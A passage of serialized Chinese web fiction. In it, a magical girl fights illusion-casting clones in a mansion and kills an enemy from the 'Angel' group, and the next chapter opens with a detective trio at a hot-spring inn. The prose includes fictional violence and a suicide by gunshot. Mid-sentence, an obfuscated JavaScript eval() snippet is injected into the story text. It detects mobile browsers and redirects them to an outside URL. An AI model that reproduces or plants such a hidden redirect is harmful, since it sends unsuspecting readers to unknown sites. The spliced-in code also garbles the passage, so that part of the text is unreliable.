除此之外还有一个,有乐羽生并没有故技重施,而是握紧了手里的台球杆,正面应对袭来的白色身影。 我要刺中,有乐羽生心想,有近乎无尽的力量汇集在她的手心,以点去刺比以横去砍更难命中,但她就是觉得自己能做到。 不知觉地,她手里那台球杆的手感忽然就变了,变得不会比羽毛更重,却又带着恰到好处的锋利感。 有乐羽生眼里只有那袭来的白色人影,不知是离得近了还是如何,她忽然就看清了那人的面貌,那是一张面无表情的少年面孔,一眼过去看不出性别。 那少年手中的金属利器是一把多功能折叠刀,大概是从地上捡起来用的,刀锋上还有些污渍。 白光交错,一闪而过,苍白的身影消散了,有什么东西掉在地毯上的声音传来,有乐羽生低头去看,发现是一把巴掌大的金色钥匙。 菜单栏忽然蹦出提示:获得物品:地下室的钥匙x1。 有乐羽生欲言又止地看着这个过于简陋的四方形提示栏,抬起手想点击x关掉,忽然发现右手里的台球杆重量有所不同,她一看才发现,那本来细长的台球杆不知何时起被一柄银白色的利剑所替代,剑首处有鸟类头骨的装饰品,护手的剑隔处镶嵌着一枚青蓝色的宝石,哪怕在漆黑的环境中也在闪闪发光。 剑身通体是锐利的银白色,较窄,但笔直,有乐羽生越看越喜欢,这把散发着,魔力,没错,散发着魔力气息的银白色长剑仿佛本来就属于她。 如果说这把魔法长剑属于我的话,难道说我其实是,魔法少女?! 忽然,菜单栏中的人物选项像是被电击了一般颤抖了起来,人物栏忽然跳出,本来标注着高中一年级的身份在不甘心地跳动了几下之后变成了:魔法少女。 有乐羽生心里涌现出了果然如此的想法,她大概被施加了某种幻象魔法,这种幻象魔法甚至影响到了她的认知,从而让她忘记了关于自己的一切陷入危机之中,但现在有魔剑傍身,想必之后就不会再如此被动了。 这样想着,她再次摸索了一圈之后找到了地下室的出口楼梯,门口紧闭,需要钥匙才能解锁。 菜单栏跳出提示:使用了地下室的钥匙x1,随机开锁的声音非常刻意地响起了。 就在有乐羽生准备推门离开时,她忽然有了这样的想法:之后还会遇到更多的危险,要存个档吗? 要存吗?好可疑哦,不存档的话感觉好危险哦,这样漫不经心地想着的有乐羽生推开门离开了,她没有点击存档。 地下室的门关上后发出了锁住的声音。 门外是没有窗户的书房,这里有乐羽生还有些印象,但不知为何关于一楼和二楼其它区域的记忆全都变得模糊不清了,但她也理解这大概率是幻觉魔法的效果,无论如何她都得先想办法离开这里,或者解决施加魔法的人。 从书房的门进入走廊后,周围的环境变得明亮了起来,走廊上被放置于高处的蜡烛照亮了这没有外来光线的区域,有交响乐的声音传入耳中,似乎是圆舞曲。 但有乐羽生看到走廊的尽头就有扇门,她迅速走到门前尝试推开,提示跳出来说门锁住了。 而此时她的右侧传来了人们交头接耳的谈论声,偶尔有人发笑,但不知为何她完全听不懂那些人在谈论什么,于是她小心翼翼地探出头去看房间内的景象。 会客厅里有许多穿着正式的客人,每一个都带着面具,面具都是动物,有宠物类型的猫狗仓鼠,也有家畜类型的猪牛马羊,也有鸟和鱼头,每个人发出的声音都是那些面具上的动物们的声音,杂乱无章,但她们正交谈甚欢。 这些人全都是敌人吗?有乐羽生看着那么多人有些犹豫地握紧了手里的剑,有带着蜜蜂面具的侍者从会客厅旁的小门带着托盘走出,为客人们带来颜色五彩缤纷的饮料,客人们有的留下了小费,羽毛,鳞片,甚至是蛋,那侍者全都照收不误。 忽然,那侍者注意到了在门口偷看的有乐羽生,带着托盘走向了她。 “客人您好,”蜜蜂面具的侍者发出的居然是人类语言,“为何不加入宴会呢?是累了吗?要不要在会客厅休息一下呢?” “…你好。”有乐羽生犹豫该不该和这个人搭话,可以说是人吗?“我忘记带面具了。” “哦,这不重要,加入宴会的人会得到合适的面具,不必提前准备的。”侍者说。 “我想回去的话怎么回去?”有乐羽生问。 “宴会还未结束,为何要提前回去呢?”侍者的语气有些失落。 “我累了,想提前回去不可以吗?”有乐羽生强调说。 “需要我带您去客房休息吗?”侍者问。 “为什么不让我回家?”有乐羽生问。 “回家”两个字被说出口后,一切都安静了下来,杂乱无章的交谈也好,笑声也好,圆舞曲也好,一切声音都消失了。 “这里就是您的家了,”侍者说,“您不属于除此以外的任何地方。” 就像是要看着有乐羽生如何回应一般,所有面具都朝她的方向转去,密密麻麻,像是一个大型的动物园一般。 “您不是魔法少女吗?”侍者问道,“加入我们吧,这里的大家都和您是同样的存在。” 饶是有乐羽生也紧张了起来,那一张张面具依然望着她,等待她的回答。 但她没有开口说话。 “…看来您在外面待的时间太久了,”侍者叹了口气,手里托盘中的小费晃了晃,“不如先来简单逛逛吧?” 看着那一张张面具,有乐羽生勉强点了点头。霎时间所有声音都回来了,面具们又开始彼此交谈,圆舞曲从停顿的地方继续演奏,笑声此起彼伏。 一位带着蝴蝶面具的侍者从门后走出,带着有乐羽生穿过会客厅进入宴会厅,踏入会客厅的一瞬间有乐羽生感觉自己的脸上多出了什么。 菜单栏跳出提示:获得魔法少女的面具x1,已自动佩戴。 居然还有装备吗?有乐羽生这样想着,跟在侍者四处观察。 宴会厅空间巨大,比地下室大十倍有余,四处都遍布演奏者,乐器种类从现代电子乐器到古典音乐乐器,甚至少数民族乐器都有,但旋律和节奏此起彼伏并不显得突兀。 宴会厅四周遍布圆形礼桌,人们三五成□□头接耳,偶尔拿起桌上的高脚杯啜饮,或一边歇息一边品尝从长自助餐桌上取来的食物。宴会厅中央微微下沉,作为舞池使用,有单人舞者独自摇曳,也有两两一对随着旋律的起伏旋转。 每个人都带着面具,高高的吊顶上水晶灯诚实地映出每一张面孔,灯光璀璨,虽然没有外界的光但依然明亮。 “您也应该加入她们的。”蝴蝶面具的侍者向有乐羽生展示宴会厅里的每一处角落。 “为什么?”有乐羽生觉得奇怪。 “您都带上面具了,却既不想展示自我也不想跳舞吗?您的面具可是很稀缺的,大家都会欢迎您。”侍者说着,有礼桌旁的人注意到了有乐羽生,或者说她脸上的面具,表现得很好奇的样子朝她投去视线。 而带着面具的有乐羽生却觉得搁在面具之后的世界如此陌生。 “算了吧,我不喜欢跳舞,也不喜欢和别人聊天。”她摇了摇头,却引来了更多的视线。 “为什么?”侍者问道,许多叽叽喳喳的附和声传来,那些带着面具的人也想问为什么。 因为这里很明显是陷阱吧,有乐羽生心想,她没有在宴会厅里找到类似出口的地方,只能想办法离开这里找找别的出口了,但这些人很明显在拦着她。 “我是第一个带着魔法少女面具来的吗?”有乐羽生转移话题问。 “是的,多稀奇啊,大家都会喜欢你的。”侍者点点头,蝴蝶翅膀扑扇了一下,那金属光泽的蓝色象征着它的身份。 虽然是这么说,但有乐羽生并不知道自己的面具长什么样子。 “我的面具长什么样?我看不见,能和我说说吗?”她问。 “嗯,”侍者想了想,“一种我从来没见过的鸟儿呢,通体是蓝色,长得比较简约。” 那不是日之森的吉祥物吗?有乐羽生脑子里一下子就有了画面,她忽然就变成了日之森代言人了,虽然那个吉祥物确实很可爱吧。 “这个其实也没那么稀有吧?”有乐羽生委婉地说,“这个其实还挺常见的,要说稀有的话你的面具才是,这不是蓝闪蝶吗?”每一个搜索蝴蝶的人都会见过这种极端美丽的蝴蝶。 “…这可不一样。”侍者的语气有些无奈,“天生的魔法少女可是非常稀有的,而且每一位都不同,我们再如何稀有都并非世间唯一。” “这不过是面具吧,你们喜欢的话自己做一个戴上就好了不是吗?”有乐羽生也很无奈,“而且现在魔法少女这个设定很常见了,你们上网搜一下看看不就行了吗?” 声音嘈杂了起来,那些人对有乐羽生这番言辞十分不满。 “这是不一样的,”侍者强调说,“带着不属于自己的面具就是在假冒别人了。只有魔法少女带着魔法少女面具出现才是有意义的,若是您不带着这幅面具,大家就认不出您是魔法少女了。在这里身份是唯一的,若是有人拿走了您的身份那您就什么也不是了。” “是这样吗?”有乐羽生摸了摸自己的面具,手感滑溜溜,像是塑料的气球表面。 “是的。”侍者看见有乐羽生珍惜自己面具的行为语气轻松了些,“您天生就有如此稀有而美丽的面具,多么幸运啊。” “这样啊,那这个面具给你吧,就当是小费。”有乐羽生摘下了面具看了看,果然是日之森的吉祥物形象,随后她将面具丢给了侍者。 空间又安静了下来。菜单栏提示:失去了物品:魔法少女的面具x1。 “有没有面具我都是魔法少女,你这么想要就给你吧。”有乐羽生说着,忽然发现周围的环境产生了变化。 本来空旷华丽的宴会厅忽然狭窄了许多,舞池变成了平地,礼桌与演奏者全都消失不见,更别提那些带着面具的客人,就好像从来没有出现过一样消失得彻底。 但侍者还在,只不过脸上的蝴蝶面具消失了,露出了一张有乐羽生刚刚熟悉起来的脸。 “真是惹人讨厌。”声音从会客厅通往宴会厅的入口传来,那是本带着蜜蜂面具的侍者,就像地下室时一样,两个相同的苍白身影出现了。 有乐羽生无言地握紧了手里的剑,抬脚朝最近的那个刺去,那人便过身避开了攻击,随后回身袭向她。 “你们其实并不擅长战斗啊。”有乐羽生奇怪地说,“这样面对面你们不可能赢我的。” 随即就像她说的那样,魔剑刺中了那人的咽喉,身影消散了。 随即她回头看向另一人,却发现那人站在不远处的会客厅入口处看着她,有乐羽生心里有了不好的预感,她回过头看向身后,果然,本来空白的墙壁被一张张动物面具覆盖,下一刻所有面具分开冲向有乐羽生,像是一个个带着面具的幽魂。 快速击杀了几个后她发现这样下去不是办法,那幽魂的数量近乎没有上限,杀完一个又会有新的幽魂顶着面具出现。有乐羽生拔腿跑向走廊,穿过宴会厅时发现那侍者穿梭过的门紧闭着,那里是通往哪里的来着?有乐羽生来不及思考这些,快速冲向走廊。 走廊也变回了昏暗的模样,不出意外地,大门紧锁,有乐羽生迅速回头往二楼的楼梯口冲去,走廊左侧有一扇门开着。 那是什么?刚这样想着答案就出现了,就在有乐羽生前脚踏进那门前范围的一刹那,无数柄厨刀飞出,纵使她及时往前扑去也被划破了后背和脚跟,剧痛之下她来不及确认伤口,只能蹒跚着继续跑向楼上,后方无数面具还在追逐。 摸到楼梯扶手后她头也不回地向上冲,忽然,她看见楼梯口有人挡在那里,是刚才失踪的那个侍者,那人手持一柄厨刀向下刺去,直取有乐羽生面门。 在疼痛之下她险之又险地避开了刀锋,魔剑画圈挥去,那人手里的厨刀便被砍断了,随后她蓄力一跃,银白色的剑身没入那人胸口,身影消散了。 有乐羽生顾不得喘口气,一路跑进前方的房间关上门,门后传来砰砰作响的撞击声,她这才有空闲扶着膝盖喘气。 刚才那都第四个了,有乐羽生喘着气想这些人的目的到底是什么,过了会她重新振作起来开始探索房间内侧。 这里空间很大,但什么家具都没有,除了一个卫生间以外就只有入口正前方有一对拉上的厚重窗帘,没有亮光透出。有乐羽生做好准备,迅速拉开了窗帘并后退。 但出乎意料的是,窗帘外并没有窗户,光线倾泻进了室内,一瞬间的亮度跨越让她忍不住眯起眼睛,随后她才注意到,那窗帘外是一处倒塌了一半的阳台,阳台上站着一个背对着她的人。 哪怕是背对着,那身影也十分熟悉,那就是有乐羽生。 有乐羽生的背上和脚跟受了伤,有鲜血溢出,她的头发被风吹起了些,废墟下方是洋馆外布满砂石的地面,她正站在阳台倒塌的缺口。 有乐羽生朝倒塌的阳台外走了一步,仿佛没看见前方就是悬崖一般,就这样跌了出去,随后是重物落地的声音,她头朝地摔死了。 咦?有乐羽生感受自己的面部与砂石接触的感觉,和密布全身的疼痛,她的眼前一片血红,无论如何都动不了。 菜单栏倒是还在,人物那一栏有乐羽生的肖像变成黑白的了。很明显,她似乎是触发了某种机制后,在刚才的一瞬间死去了。 体温流失的感觉如此真实,提示跳出:是否读档? 但有乐羽生不记得自己存档过,就像是在解答她的疑惑一般,档案记录展开,显示游戏有自动存档功能。 有乐羽生忍不住气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807992|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,她是不是还要感谢这游戏如此人性化? 不对啊,如果她死了那她怎么还能笑,想到这里的有乐羽生本越来越浑浊的思想变得清明了些许,她意识到这可能也是幻觉的一部分,不,一定是,她并没有死。 于是她尝试忍住剧痛再次调动手臂,但做不到,手臂似乎骨折了。 腿呢?腿也断了!这不是什么都没有了吗? 不对啊!有乐羽生觉得她都是魔法少女了,区区从二楼摔下来而已,即使是头着地受伤的也应该是地面才对,而且哪怕她没有手和脚,她也应该还有什么别的可以驱使才对。她尝试使用那微弱的存在沟通自己的魔剑,魔剑回应了她! 霎那间,她的视力忽然变得清晰了,原先血红一片的画面消失,眼前变回了她原先看着的东西:被拉开窗帘的墙壁,墙壁上的窗户被木板封死了,但此时她的魔剑钉在上面,以及一个苍白的人影,随后人影消散了。 门外的撞击声也消失了,有乐羽生拔出魔剑,转身拉开门离开了。门在她身后传来了锁上的声音,想必楼下的房间也是如此。 目睹自己死亡居然是这种感觉吗?有乐羽生不自在地抖了抖,不再去想刚才密布全身的剧痛和逐渐失温的无力感。 菜单栏人物肖像还是黑白的,有乐羽生没再去看了。 门外空无一人,二楼还有另一个房间,门微微开着,仿佛在邀请她进入。 有乐羽生谨慎地站在门口张望,但完全看不到门内的东西,她握紧长剑推开门走进去,瞬间门在她身后关闭并锁上,室内漆黑一片,她趁门关上前透过光线隐约能看到一些障碍物,似乎是一些桌子。 她小心避开桌子的边缘在周围探索,这里比之前所有区域都要暗,很快她什么都看不见了。被封闭在这个空间内令她有些不安,但她手里的魔剑依旧熠熠生辉,即使没有重量也能给予她力量。 忽然破空声在安静的室内炸起,有乐羽生迅速提剑格挡,但很快破空声又从她的身后传来,情急之下她下蹲以躲开可能会到来的袭击,但这没有用,不明物体的巨大冲击让她被撞向周围的桌子,这不算完,下一次撞击又从她的身后袭来,在这样太过黑暗的情况下她根本无从躲避,更别说反击了。 有乐羽生尝试稳住重心用那些桌子挡住攻击,但不知为何那些桌子无法挡住任何攻击,就好像那些攻击穿过桌子了一样。 不对!有乐羽生意识到并不是桌子无法挡住攻击,而是桌子也是幻觉的一部分,桌子的作用是妨碍她的行动,就像这里超乎寻常的黑暗一样,都是敌人的幻觉造成的。 想通了之后她不再隐藏于桌子下方,而是尝试在空间内辗转跳跃躲开攻击,果不其然多次攻击落了空,有乐羽生尝试捕捉攻击者的方向,随后,她迅速朝反方向砍去,利器划破空气的声音犹如弦乐一般,盖过了一切。 有什么东西撞在了墙上,有乐羽生没有犹豫,朝发出声音的墙壁一跃而起刺去,随着刺中什么的感觉出现,周围异常的黑暗逐渐褪去了。 剑尖处,被刺中的苍白人影消散了,房间内没有家具,只有洗漱间和一扇小门。 身后入口处的门依然紧锁,有乐羽生推开了小门,门内有不算亮的暖光,墙壁带有华丽的壁纸,以及上面悬挂着的一幅幅画。 小门入口处正前方,一个人背对着她站在那里,长长的白发几乎垂在地上,身上穿着黑色正式制服,此时那人转过身来面对有乐羽生,脸上的面具苍白,没有任何图案。 “…这都第七个了。”有乐羽生叹了口气。 “没错,很了不起。”那人说,声音是少年特有的雌雄莫辨,“有什么感想吗?” “感想是没什么创新。”有乐羽生谨慎地回答。 “果然吗,我们很久没看到有趣的新电影了。”那人叹了口气,声音隔着面具有些闷。 “能让我走了吗?还是说你也要拦着我?”有乐羽生握紧手里的剑。 “你有急事吗?不如来聊聊吧。”那人说,“其实我们挺像的不是吗?虽然你很讨厌。” 所以这个人到底是想做什么,有乐羽生觉得很疑惑,她不觉得她们之间有什么话题好聊。 “…我杀了你的同伴,你还能这样和我聊天?”有乐羽生质疑道。 “哦,你搞错了,”那人摆了摆手,“之前你杀的那些是我的分身啦,都没留下尸体不是吗。你是魔法少女,能理解分身魔法是怎么一回事吧?” 有乐羽生实际上并不理解,但她能从对方的语气中听出一些嘲讽,所以哪怕是硬着头皮她也要点头。 “当然。”有乐羽生说。 “那你说说吧。”那人说。 “…你也是,有够讨人厌的呢。”有乐羽生微笑说。 “哈哈哈,我知道的,你不擅长这种需要分心的魔法吧?”那人像是得逞了一般笑着,“你想学吗?” “你有这么好心啊?”有乐羽生一副恍然大悟的语气说。 “不是我啦,我们的老师应该是很乐意收你做学生的吧,你们也挺像的。”那人摆了摆手说,“而且如果你加入我们的话就不需要为金钱发愁啦哦,我们有工资发的。” 说到这里有乐羽生也意识到了,这人恐怕是天使的一员。 “你觉得我会加入你们这个和□□没什么区别的组织吗?”有乐羽生不理解对方的脑回路,提醒道,“我们之前才摧毁了你们的实验室。” “诶这样,那大人她很头疼吧?”这人的语气里没有太过在意这件事,“不过我们的工资没受到影响,如何,抗风险能力不错吧,考虑一下吗?” 有乐羽生意识到,此人是真心实意地认为她会有可能加入对方的,这一点让她感到了疑惑和恼怒,她哪里看上去像是会理解这群反社会分子的样子吗? “你为什么会这样想?”有乐羽生质疑道,“你觉得我会因为你们会发工资,我又有些缺钱就加入你们吗?” “不会吗?你们所做的一切在人类社会中是得不到回报的不是吗?况且你也不认可你们家的那一套价值观。”那人理所当然地说,“我们才是同类啊,而且大人会认可你所做的一切的,我们的老师会教导你变得更加强大,你如此有天赋。” 此时有乐羽生确信对方没有说谎,那些话全部是发自真心的,但正是因为如此,她才更觉得对方理所当然的模样很讨人厌。 “你倒是了解我,了解我们。”有乐羽生笑着说。 “确实,你为此生气吗?”那人语气疑惑,“我以为有人了解你,你会开心些才对。” “你们洗脑把脑子洗坏了吧?”有乐羽生微笑着说,“我们不是同类,你不了解我,我也不会加入你们。” “…你果然很讨人厌。”那人语气低沉了些许。 “那就动手吧。”有乐羽生说着抬起了手里的剑。 “总有一天你会理解的,魔法少女与我们没什么不同,我们无法真的融入这个社会,你们也做不到的。”那人语气笃定地说,“人类的价值观无法认可我们,我们也无法认可人类的价值观,你们已经不需要为此苦恼了。” “你没有苦恼过,因为你从没有拥有过,我是魔法少女,我也是人类,哪怕有一天这个社会无法认可我的所作所为,我也会有容身之地的。”有乐羽生的语气十分坚定。 菜单栏中,人物那一格寸寸开裂,黑白的肖像消失不见,身份消失,只剩下名字与年龄。 “谁说我们没有过,你又有多了解我们?”那人忽然笑了,背后的那幅画忽然变成了一片深红,有颜料溢出了画框,“我们即使是离开了这个世界也有可以回去的地方,而你的同伴总有一天会离你而去的!” 有乐羽生确实非常害怕她珍贵的同伴离开,除了她们以外这个世界上不会再有谁能真正理解她了,哪怕是另一个新的魔法少女也好,她们不会再一起成长一次了。 但是害怕并不是止步不前的理由,有乐羽生想起了她的母亲,她害怕的对象,恐惧是可以与前进兼容的,忐忑不安地前进总比视而不见地原地踏步要好。 “那到时候我就去找她们!”有乐羽生说,她已经获得了前进的勇气,菜单栏裂开后消失不见。 “…这样吗。”那人说。 有乐羽生没有再犹豫,她提剑刺出,直取对方心脏。 “诶等一下——”那人刚想说些什么就被刺中了,身体被贯穿钉到背后的画上,深红的颜料如泉涌一般涓涓流出画框,犹如河水湍急,要托起倒下的人。 刺中实体的感觉传来,但那人的身影并没有消散,有乐羽生站在原地看着对方捂着心口倒下,面具顺势掉落,露出那张她看过六次的脸,眼睛一黑一紫,头发白得像干枯的草,这是第七次了。 “诶,大人又要头疼了。”那人面临死亡却没有露出恐惧,而是皱起了眉,“都说等一下了,这么急干什么。” “你根本就不擅长战斗,刚才比起和我聊天,你更应该逃跑。”有乐羽生的声音有些颤抖,她的手颤抖得厉害。 “不需要,你还害怕死亡,这样吗,”那人断断续续地说,“你甚至,害怕杀人,不过你不认为我们是同类,那为何你在害怕?” “…我不知道,”有乐羽生说,“或许是因为你确实和我很像,和人类很像。” 深红颜料汇集而成的水流聚在这处画廊里蓄起,几乎没过了有乐羽生的脚踝。 “…你说话真难听。”那人深呼吸了一次后,再次开口带了些力气,“我们是亚贝琉库伦,天使的一员,现在我要回去了,拜拜。” 随后库伦不再支撑自己,放任自己倒进持续上涨的血红河流中,仿佛睡去一般。 有乐羽生看着对方倒下,深呼吸几次之后压下内心的颤抖不安,这是她第一次真正意义上杀死一个人,即使对方不认同自己是人类,但有乐羽生依旧对此感到愧疚不安。 但现在并不是处理情绪的时候,她抬脚冲向画廊的末端,她记得那里有个安全出口。 她周身的画框全都在疯狂涌出深红颜料,壁纸也是深红的,仿佛这里变成了谁的内脏中一般四处都是红色,画框中的内容几经变换,都是有乐羽生周围的人死亡的模样。 家里的人,周围的同学,天生目白,她的朋友们,以及,她的母亲。 本该是紧急出口的位置,一副巨大的肖像画挡在那里,画中的女人面容因中枪而模糊,整个人呈现出摇摇欲坠的动态。 有乐羽生颤抖着握紧了手里的剑,她没有移开视线,正相反,她直视画中的人,提起剑劈开了整幅画的画框,巨量深红血液倾泻而出,她拉住紧急出口的扳手,强行把它拉开。 身后的一切瞬间恢复正常,有乐羽生看见下方停车场站着一个苍白的身影。 “你还活着?”有乐羽生从二楼一跃而下冲向那人。 “我的心脏在痛,”那人表情淡漠,抬头看向有乐羽生的神情并没有什么意外,“你摧毁了那个心脏和肺部,对吗?” 有乐羽生没有回应,紧盯眼前这人的面孔,刚才她刺中那人的手感没有出错,那眼前这个相貌着装一模一样的人又是谁? 但没等她提问,眼前这人迅速从怀里取出了一支小型手枪,毫不犹豫地抵住自己的太阳穴并扣动扳机,一声巨响之后,这人在有乐羽生不可置信的眼神下自杀了。 小型手枪射出的子弹穿过那人的脑袋之后还飞出去了,带着旋转着飞溅的血液一起,那苍白干枯的长发被搅乱了,最后整个人面朝天空倒下去,没了声息。 忽然,有乐羽生感觉自己的视线恢复了正常,或者说感官恢复了正常,她意识到眼前这人才是操控幻象的存在,而刚才被她刺中的人是负责控制分身的。 有乐羽生感到自己的心脏一阵狂跳,悲哀与愧疚席卷而来,她明白自己可以扔开负罪感,她有足够的理由去杀死这两个人,甚至其中一人还是自杀,更何况社会也不认可这两个人的存在,哪怕她真的杀了这两个人也不会有谁说什么的。 但这无法阻止有乐羽生被愧疚缠身,她忽然想和谁倾诉自己内心的恐惧和不安,想和谁说几句话,那个人并不是其它人,正是她的母亲。 但是她原本的手机被没收了,现在她使用的是自己悄悄买的新手机,并没有保存有乐千奈的手机号。 无奈之下,她先转移回了日之森,随后借用学校的公共电话打给了对方,按照电话本按下号码时她的手还在颤抖,就好像那些深红色的颜料留下了一些粘在她的手上洗不掉了一样。 电话并没有让她等太久。 “这里是有乐千奈。”她的声音一如既往地冷漠沉稳,与陌生人沟通时她的语气不带有额外的情绪,但听见这样的声音,有乐羽生忽然觉得想哭。 “母亲,”有乐羽生抿了抿嘴,“是我。” “羽生?”电话那头的语气里带上了疑惑,“你在学校和我打电话?有事吗?” 但有乐羽生确实不知道能说什么事,她有些愧疚自己没事找事给母亲打电话,毕竟对方通常这个时候都处于忙碌中。 “我,”有乐羽生想了想说,“我们学生会在讨论要不要开设期中考试前的学习会,您觉得我该如何回应比较好呢?” 电话那头传来了有谁在说话的声音,这让有乐羽生更心虚了,这件事本就不该去问有乐千奈的,但她也想不出其它理由了,少不了被骂一顿。 “这种事情你拿来问我?你自己不动一下脑子吗?”果不其然,有乐千奈的语气是恨铁不成钢,但这熟悉的感觉反而让有乐羽生感到安心了些,她的手没有再颤抖了。 “抱歉。”她道歉说。 “你自己根据会议情况判断,记得我是怎么教你的吗?之前和我对话的时候你嘴皮子不是挺利索的吗?”有乐千奈嗤笑了一声,“别让我听说你被赶出学生会的消息。” 说完,电话被挂断了,放下电话,有乐羽生长长地叹了口气。 60.INMATE-006 犬山晓从专用电梯走出时还能听见角落里的工作人员在窃窃私语,讨论这电梯怎么今天这么多人用,是不是发生了什么大事什么的。 在那些人讨论的内容越来越离谱前,她们三人离开了酒店前往吉田川光失踪前出现过的监控画面所在的一处私人浴池。 上了车后,对之前的情景有些介怀的犬山晓犹豫着对启明星开口问道。 “我们的雇主是不是出现了变动?从一二七先生变为了一二三四。”犬山晓很在意这一点,在她看来一二三四比一二七难对付多了,怪不得启明星不愿意与之谈话。 “这还无法确定。”启明星叹了口气,“不过家族首领的委托报酬总比私人委托报酬上限高得多,想想我们的目的,这可是好事一桩啊。” 话是这样说的,但犬山晓能看出启明星心事重重。 “…说起来,那位首领总莫名其妙地看我,是有什么问题吗?”犬山晓转移了话题。 “除了您的英姿以外大概就是您的姓氏了,犬山家族虽然在北方城市势力范围更广,但无论在哪都是公共安全机关的重点观察对象。”启明星笑着说。 “…哦哦,原来是这样吗。”犬山晓心想这个捡来的姓氏怎么还有这种麻烦跟着。 “不过这个姓氏不算少见,那位不会放在心上的,就请放下心吧。”启明星安慰说,“在我们三人中犬山小姐的名字是最为常见的,这有让您安心一些吗?” 犬山晓心想确实如此,无论是六十七号还是启明星听上去都不是身份证上该出现的名字,相比而言仅仅是与外地的□□撞了姓氏而已,确实没什么好值得注意的。 “我们接下来要去的私人浴池地址位于西部山区附近,在日之森校区的北部,算是城市中的郊区了。”启明星介绍道,“那里有多处私人浴池和温泉酒店,每天早上被鸟鸣唤醒的生活想想就令人舒心,这件事结束后我也想去那里休息一下呢。” “私人浴池,”犬山晓觉得自己靠近过西部山区附近,不过她不太喜欢山区环境就没怎么刻意前往过,“吉田川光去私人浴池是因为纹身问题吗?” “有可能,不过一家族是没什么纹身文化的,如果身怀重要物品的话去那里大概只是为了隐秘吧。”启明星说。 “对哦。”犬山晓想起吉田川光是带着赃物逃走的,自然尽可能地会去远一点的地方,“这个人会是想从山区的路离开这座城市吗?” “有这个可能,但既然现场有留下血迹的话大概了她的计划是泡汤了。”启明星说了个冷笑话,“而且赃物和她本人一起失踪已经超过了24小时,现在她出现在这个世界上的任何一个角落都不足为奇。” 虽然话说如此,启明星并没有对找到目标失去信心。 “毕竟有两位笃定我能找到目标的雇主,我可不能让二位失望。”启明星说。 犬山晓看着启明星,有些羡慕她身上那理所当然能解决一切问题的自信,以及那令人感到安心的笑容。她也想在面对困难时露出这样的笑容,而不是感到害怕或者视而不见。 “这样说起来,为何她们会因为这件事产生分歧呢?”犬山晓不太理解,“家族的叛徒无论是谁来处置效果都是一样的吧,只是因为这个就吵架也太不值了。” “如果只是一个处置叛徒的功劳还不至于那位大驾光临啦。”启明星摆了摆手,神情也认真啦起来,“不过您也注意到了一个重点,吉田川光并不是什么大人物,至少身份上不是,那么就是她手上的账本,或者说‘带着账本的人’这个身份比较重要了,无论如何那个账本的内容都不会简单。” “账本的内容,难道除了数字和账目还能有什么其它东西吗?”犬山晓问道。 “虽然说是账本,但总不能真的是一本实体书什么的,多半是硬盘或者其它数字载体,载体本身很重要的可能性也是有的,但我更倾向于载体内还有其它重要内容。”启明星思索着说。 “这样一说我们要找的其实就是一个硬盘嘛,为什么偏要叫它账本呢。”犬山晓感觉很疑惑,在她看来这种称呼根本就无关紧要。 “…或许账本才能引起重视吧。”启明星喃喃自语,“这个账本到底是记录了什么秘密呢,真是好奇。” “我也有点想知道,但是这种雇主的东西我们不能看的吧。”犬山晓犹豫地说。 “按理来说是不行的,但这一点也很奇怪。”启明星说,“犬山小姐觉得,如果您的秘密日记本丢了,那您会拜托别人去找吗?” “不会吧,”犬山晓思索着说,“如果是我的话,我宁愿日记本真的丢了都不想让它被别人找到,不过只是对我来说而已哦。” “其实大家都是这样的啦。”启明星笑了,“被谁找到之后,即使对方将其交还给您,您也会想着‘这个人莫非偷偷看过我的秘密了吗’这样的想法吧,秘密越大这样的想法就越有可能出现,不如说如果是我的话会委托‘找到叛徒’,但不会说‘找到叛徒和账本’呢。” “确实是这样啊!”犬山晓恍然大悟,但随即疑惑就更多了,“那么那两位到底是为什么会那样说呢,太奇怪了吧。” 到底是因为对那两人还不够熟悉,还是这就是一件很奇怪的事情呢?犬山晓的头因为想了太多东西隐隐有些晕。 “您不必思考这些哦,这是我的工作。”启明星从座位前的置物袋里取出了一粒柠檬糖递给犬山晓,“将一切可能性都找出来,在思考全部道路的同时得出唯一的答案,这就是侦探该做的事情。” “谢谢。”犬山晓接过柠檬糖,撕开包装扔进嘴里,“侦探有什么思路了吗?” “稍微有一点吧,”启明星眨了眨眼,“不过也得到了现场之后看看再说,现在请先休息一会吧。” 车辆经由繁华的市区驶入群山环抱,自然替代高楼遮挡视线,几经周转之后,一处隐藏在山间的建筑群出现在了犬山晓眼前,多个木质的小屋环山而立,彼此相连。木顶长门廊上攀了些绿藤,通往建筑群入口处,大门正对户外的停车场,但由于光线原因门内昏暗。 车辆停靠在入口前方,大门此时开着,但无人等候,三人下车,有侍者从屋内走出。 “欢迎光临青山汤泉旅馆,”侍者有礼地问好,“很抱歉我们近期不接待客人了,由于事发突然我们没能及时通知,若是打扰了各位的雅兴请容我代为道歉。” “我们是一家族的委托负责人,来调查吉田川光失踪前出现过的现场。”启明星取出手机调取出邮件递给对方,那人肩膀一跳,小心翼翼地挽起袖子弯腰接过手机确认内容。 她看了看邮件,看了看启明星,看了看站在后方的犬山晓和六十七号,最后再次看向邮件后礼貌地捧着手机递给启明星。 “抱歉,我去请示青山老师接待各位,请先在这里歇息一会吧。”侍者面色为难地再次行礼,带着几人走到门前的等候处后进入了屋内。 “请便。”启明星点头。 “青山里的属于青山老师的青山旅馆。”六十七号说,特意押了韵脚。 “应该是故意的吧,很有记忆点,客人来了一次就都会记住名字的。”犬山晓觉得有点好笑。 “确实,不得不承认其高明之处呢。”启明星说着,观察停车场的环境,从这里往外看几乎可以说是一览无余,现在停车场没什么车,没有客人在这个时候光临。 不一会,侍者再次从内屋走出,其后方随之而来的是一位老者。 “久等了。”侍者的神情莫名紧张了很多,“这三位就是来调查现场的人,这位是启明星侦探。” 仓促之下她的语气都不似之前那般有礼了,启明星不明显地看了她一眼。 